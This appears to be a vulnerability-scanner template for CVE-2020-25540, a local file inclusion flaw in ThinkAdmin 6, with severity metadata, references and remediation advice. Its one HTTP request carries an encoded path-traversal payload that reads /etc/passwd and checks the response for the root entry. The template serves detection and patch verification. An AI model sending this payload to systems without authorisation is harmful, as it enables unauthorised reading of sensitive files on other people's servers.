CVE-2020-25540: ThinkAdmin 6 - Local File Inclusion

id: CVE-2020-25540

info:
  name: ThinkAdmin 6 - Local File Inclusion
  author: geeknik
  severity: high
  description: ThinkAdmin version 6 is affected by a local file inclusion vulnerability because an unauthorized attacker can read arbitrary files on a remote server via GET request encode parameter.
  impact: |
    Successful exploitation of this vulnerability can lead to unauthorized access to sensitive files, remote code execution, and potential compromise of the entire system.
  remediation: |
    Apply the latest patch or upgrade to a version that is not affected by the vulnerability.
  reference:
    - https://www.exploit-db.com/exploits/48812
    - https://github.com/zoujingli/ThinkAdmin/issues/244
    - https://wtfsec.org/posts/thinkadmin-v6-%E5%88%97%E7%9B%AE%E5%BD%95-%E4%BB%BB%E6%84%8F%E6%96%87%E4%BB%B6%E8%AF%BB%E5%8F%96/
    - http://packetstormsecurity.com/files/159177/ThinkAdmin-6-Arbitrary-File-Read.html
    - https://nvd.nist.gov/vuln/detail/CVE-2020-25540
  classification:
    cvss-metrics: CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:H/I:N/A:N
    cvss-score: 7.5
    cve-id: CVE-2020-25540
    cwe-id: CWE-22
    epss-score: 0.93703
    epss-percentile: 0.99845
    cpe: cpe:2.3:a:thinkadmin:thinkadmin:6.0:*:*:*:*:*:*:*
  metadata:
    max-request: 1
    vendor: thinkadmin
    product: thinkadmin
  tags: cve,cve2020,thinkadmin,lfi,edb,packetstorm,ctolog

http:
  - method: GET
    path:
      - '{{BaseURL}}/admin.html?s=admin/api.Update/get/encode/34392q302x2r1b37382p382x2r1b1a1a1b1a1a1b1a1a1b1a1a1b1a1a1b1a1a1b1a1a1b1a1a1b1a1a1b2t382r1b342p37373b2s'

    matchers-condition: and
    matchers:
      - type: regex
        regex:
          - "root:.*:0:0:"

      - type: status
        status:
          - 200
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